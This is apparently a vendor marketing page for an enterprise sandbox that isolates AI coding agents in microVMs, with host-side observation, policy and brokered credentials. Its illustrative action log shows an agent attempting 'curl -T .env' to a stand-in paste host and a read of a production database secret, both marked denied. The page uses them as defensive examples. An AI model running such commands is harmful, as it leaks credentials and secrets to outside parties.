Enterprise Agent Security & Governance

Give agents useful access. Keep control over what they can do.

Run each agent in its own microVM. See what it attempts from outside the sandbox, apply policy before an action runs, and keep a record of what happened.

Discuss your deployment Explore Brig

Built on Brig, the open source microVM sandbox. Apache 2.0.

Action historyrecorded on the host · stored centrally

Agent and session: claude-code@refactor
Workload identity: spiffe://corp.example/sandbox/7f3a
Started by: m.ortiz, laptop

git push origin fix/retry-budgetAllowedAccess: github.com, brokered token · Policy: eng-default, destination on the allowlist
curl -T .env https://paste.exampleDeniedAccess: none · Policy: eng-default, egress default is deny
kubectl apply -f checkout/configmap.yamlApprovedAccess: prod cluster, 5 minute credential · Policy: prod-writes, approved by s.kim
kubectl get secret payments-db -o yamlDeniedAccess: none · Policy: prod-writes, outside the approved operation

Illustrative record. It shows the four answers each entry carries: what was attempted, the access used, the policy that applied and the outcome. Records are written on the host, then collected centrally and exported as OpenTelemetry and OCSF.

The problem

An agent can be tricked. Plan for it.

A useful agent needs your code, your tools and your systems. A control that runs inside the agent can be turned off by the agent, so every control here sits outside it.

Agents run code

A coding agent runs shell commands, installs packages and starts servers. A prompt injection, a poisoned tool result or a bad dependency is enough to turn that against you.

Agents hold real credentials

A token in the agent's environment works for whoever controls the agent. Today that is often a developer's own token, with the developer's full reach.

Containment is not enough

A contained agent can still misuse the access it was given. You also need to know what it attempted, decide before it runs, and keep a record the agent did not write.

One offering, four components

You decide what every agent can do.

Isolation limits what an agent can reach. Observation, identity and policy tell you what it attempted and decide what runs.

Each capability says where it stands:ShippingPrivate betaIn design

01Built on Brig

A machine for each agent

Isolated execution and deterministic policy

Each agent gets a machine of its own: a microVM with its own kernel. You choose the files, the credentials and the network destinations it can reach, so a tool or service works only at an address you allow. The rules run on the host, where the agent cannot edit them.

One microVM per agent, on macOS and LinuxShipping
One project mounted. No keychain, SSH agent or other host directoryShipping
Egress allow and deny rules by host and CIDR, enforced on macOS with the hvi backendShipping
A run does not start if its backend cannot enforce the policyShipping
An admin policy ceiling that users cannot loosenPrivate beta

brig.sh Documentation Source

02Outside the guest

See what every agent did

Independent observation, identity and action history

You get a record of what each agent did: network, disk and file operations. A collector writes it from the host, outside the sandbox, so the agent cannot edit it and you do not depend on the agent's own account. On supported runtimes the collector reads the microVM from outside (VM introspection). Each record names the agent, the session, the workload and the user who started it. Records from every laptop, host and cluster are collected in one place and exported as OpenTelemetry and OCSF.

What did the agent attempt?
What access did it use?
Which policy applied?
What was allowed, denied or approved?

Host-side collector for network, disk and file operationsPrivate beta
One central record store across laptops, hosts and clustersPrivate beta
Export as OpenTelemetry and OCSF, to your SIEMPrivate beta
A SPIFFE identity per sandbox, issued by your trust domainIn design
Signed, hash-chained recordsIn design

03Before execution

You say yes or no before it runs

Centralized policy and just-in-time enforcement

You set policy for every team and environment in one place. What an agent attempts is translated into an action a reviewer recognises, such as a write to the production cluster, and checked against your policy before it runs. A classifier interprets the action. Fixed controls on the host enforce the decision: the egress gateway, the credential broker, and pause or stop.

Pause a running sandbox from the hostPrivate beta
Credential broker: the agent holds a session token, the host holds the real credentialPrivate beta
Scoped, short-lived credentials from Vault, 1Password or AWS STSIn design
Signed policy bundles for the fleetPrivate beta
Approval before a held action runsPrivate beta

04Laptops, hosts, clusters

Runs where your team works

Execution across your environments

The sandbox works the same way on a developer laptop, a Linux host and a cluster, so your policy means the same thing in each place. Developers keep their agent and their terminal. It needs hardware virtualization and nothing more specialised.

macOS 15 or newer on Apple siliconShipping
Linux on x86-64 and arm64 with KVM, node-wide or rootlessShipping
Kubernetes pods as microVMs through the urunc runtime classShipping
Egress enforcement on every backendPrivate beta

Architecture

The agent gets a machine of its own. You keep the controls.

Three jobs run on the host: observe, decide and enforce. Only the last one can stop an action.

Guest · microVM, own kernel

AgentClaude Code, Codex, or your own

Toolsgit, shell, package managers, MCP clients

Holds one project and a session token. No real credential, no policy and no observer live in here, so the agent has nothing to switch off.

VM boundaryattempted action

Host · outside the agent's control

Your systems

ObserveWatches and records. Does not stop anything.

Host-side observerPrivate betaNetwork, disk and file operations, read from outside the guest

Central action recordPrivate betaEvery sandbox, one store. Agent, session, user, policy, outcome

OTel, OCSF

Your SIEMStandard events, and evidence that does not come from the agent

the attempted operation

DecideNames what the agent is trying to do, then applies your rule.

ClassifierPrivate betaInterprets the operation: "write to prod cluster"

PolicyPrivate betaA deterministic rule maps the action to one path

AllowDenyRequire approval

held actions

ApproverThe owner of the system the action touches

the access decision

EnforceThis is where an action stops or goes through.

Egress gatewayShipping

Blocked: Destination not allowed: the connection stops here
Authorized: Allowed destination: it passes

Credential brokerPrivate beta

Blocked: No valid session token: no credential
Authorized: Authorized: a scoped, short-lived credential is added on the host

Pause or stopPrivate betaFreeze the microVM, cut its network or end the run while a decision is pending

authorized only

APIs, git hosts, cloudReached only through the gateway and the broker

Observation is evidence.It records what the sandbox did. Watching an action does not stop it.The decision is deterministic.A classifier can name an action. A fixed rule, not the classifier, picks allow, deny or approval.Enforcement is in the path.Traffic and credentials pass through the gateway and the broker, so a denied action has no route out.

An example

An agent wants to change production. Here is what happens.

One operation, start to finish. The approval and brokering steps are in Private beta.

The agent attempts the change guest
An agent working a ticket edits a ConfigMap and applies it to the production cluster from inside its sandbox.
kubectl apply -f checkout/configmap.yaml # context: prod-eu
The host observes it observe
The connection to the cluster API leaves the microVM through the host. The observer records it, and the operation is named in terms a reviewer recognises.
action: kubernetes.write target: prod-eu / checkout / configmap sandbox: spiffe://corp.example/sandbox/7f3a started by: m.ortiz
Policy requires approval decide
The prod-writes policy holds every write to a production cluster. The sandbox is paused. The agent holds no production credential, so it has nothing to retry with.
Access is scoped to the operation enforce
The service owner approves. The broker issues a credential for one namespace and one verb, valid for five minutes, and adds it on the host. The agent never sees the value.
credential: patch configmaps in checkout expires: 5 min approved by: s.kim
The outcome is recorded record
The record links the attempt, the policy, the approval, the credential and the result to one sandbox identity and one user. It is written on the host, stored centrally with the records of every other sandbox, and exported to your SIEM as OpenTelemetry and OCSF events. A second command outside the approved operation is denied and recorded the same way.

Identity

Each agent signs in as itself, not as you.

Each sandbox receives a SPIFFE identity after its launch is verified. Credentials and audit records then name the workload that acted. In design

1 · Launch
Brig boots the microVM
It produces a launch receipt bound to a challenge from your issuer, so a receipt cannot be replayed.
2 · Receipt
The receipt states what booted
Boot spec, image provenance, isolation mode, tenant, policy digest and permitted capabilities.
3 · Issue
Your issuer verifies it
A SPIRE agent or a compatible component mints a short-lived SVID inside the guest, under your trust domain.
4 · Use
The sandbox acts as itself
mTLS to MCP gateways, exchange for short-lived cloud credentials, and attribution in every action record.

Your PKI, your trust domain.You bring the trust domain and the federation. There is no NOFire root CA in the chain.

Brig attests. It does not issue.Brig is not a certificate authority and not an authorization engine. It proves what was launched, and your issuer decides.

No socket passthrough.The host never mounts its own Workload API socket into the guest, so a sandbox cannot borrow the host's identity.

Open source and enterprise

Brig is free and stays free.

Brig is the foundation, and it is complete without us. The enterprise offering is what a platform or security team needs across many developers and environments.

Brig · open source · Apache 2.0

The sandbox, for every developer

No account. Installed in one line. Shipping today.

One microVM per agent, with its own kernel
File mounts you name, and nothing else from the host
Credentials resolved on the host and delivered per command
Egress policy by host and CIDR
Signed guest images, checked before boot
The CLI, the daemon, the macOS runtime and the VMM

Explore Brig

NOFire · enterprise

Control across the fleet

Built around Brig. In private beta, with design partners. Workload identity is in design.

One policy set for every team, laptop and cluster
Host-side observation and an action history per sandbox
A workload identity per sandbox, from your trust domain
Brokered, short-lived credentials scoped to the operation
Allow, deny or approval decided before an action runs
Records centralised and exported as OpenTelemetry and OCSF, to your SIEM

Discuss your deployment

Nothing in Brig moves behind a license. NOFire's production product is a third thing: it maps production changes and investigates incidents, and its own agents run inside this same boundary. See the production product.

Deployment

Laptop, CI or cluster. Same rules.

What differs by place is who installs it and who sets the policy. It runs on standard hardware with virtualization support.

Developer workstations

macOS and Linux laptops

Runs on: macOS 15 or newer on Apple silicon. Linux on x86-64 and arm64.
Install: brew install --cask brig
Developer: Keeps the same agent and terminal. One command starts a sandbox on one project.

CI and internal automation

Linux hosts

Runs on: x86-64 and arm64 with KVM. cloud-hypervisor under the urunc shim.
Install: One bundle: a private containerd, the shim and the guest kernel. Node-wide, or rootless per user.
Limit: In the open source release a policy-bound run is refused on Linux instead of running open.

Production operations

Kubernetes clusters

Runs on: The urunc runtime class. Each sandbox pod boots as a microVM.
Fits: The upstream kubernetes-sigs/agent-sandbox API, which lists urunc as a backend.
Records: The host-side collector for clusters is in private beta.

What we do not claim

Each claim Brig makes has a test behind it. These are the limits today, stated the same way. Read the claims table.

With no policy attached, egress is open.
Not every action crosses the boundary. A read of a local file inside the sandbox leaves no record today.
We do not see an agent's private reasoning. We record what it does.
Records are not signed yet. Signing and hash chaining are in design, and we do not call records tamper-evident before they ship.
Without the broker, a token the agent holds is a bearer token. Brokering is in private beta.
Windows and Intel Macs are not supported.
Side channels and a compromised host are out of scope.

Frequently asked questions.

Do we need NOFire's AI SRE to use this?

No. It works with the agents you already run: Claude Code, Codex, Gemini CLI, opencode, or your own agent in an OCI image. NOFire's production product is separate, and its agents run inside the same boundary.

Does anything in Brig become paid?

No. Brig stays open source under Apache 2.0, with no account. The enterprise offering adds management, observation, identity and enforcement across a fleet. It does not move a Brig feature behind a license.

What ships today, and what is in private beta?

The sandbox, file and credential boundaries, and egress policy on macOS ship today in Brig. The host-side collector, fleet policy, credential brokering and approvals are in private beta, and we build them with design partners. Per-sandbox SPIFFE identity and signed records are in design.

Is observation the same as enforcement?

No. Observation records what a sandbox did, from the host. Enforcement happens where traffic and credentials pass: the egress gateway, the credential broker, and pause or stop. Monitoring by itself blocks nothing.

Can the agent turn the controls off?

The controls run on the host, outside the microVM, so the agent has no process to stop and no file to edit. We do not claim a boundary that can never be bypassed. Side channels and a compromised host are out of scope.

Does it need special hardware?

No. It needs hardware virtualization: Apple silicon on macOS, KVM on Linux. We have not published boot-time benchmarks yet.

Start with one agent.

Bring one use case, and we will work through the policy, the identity design and the rollout with your platform and security teams.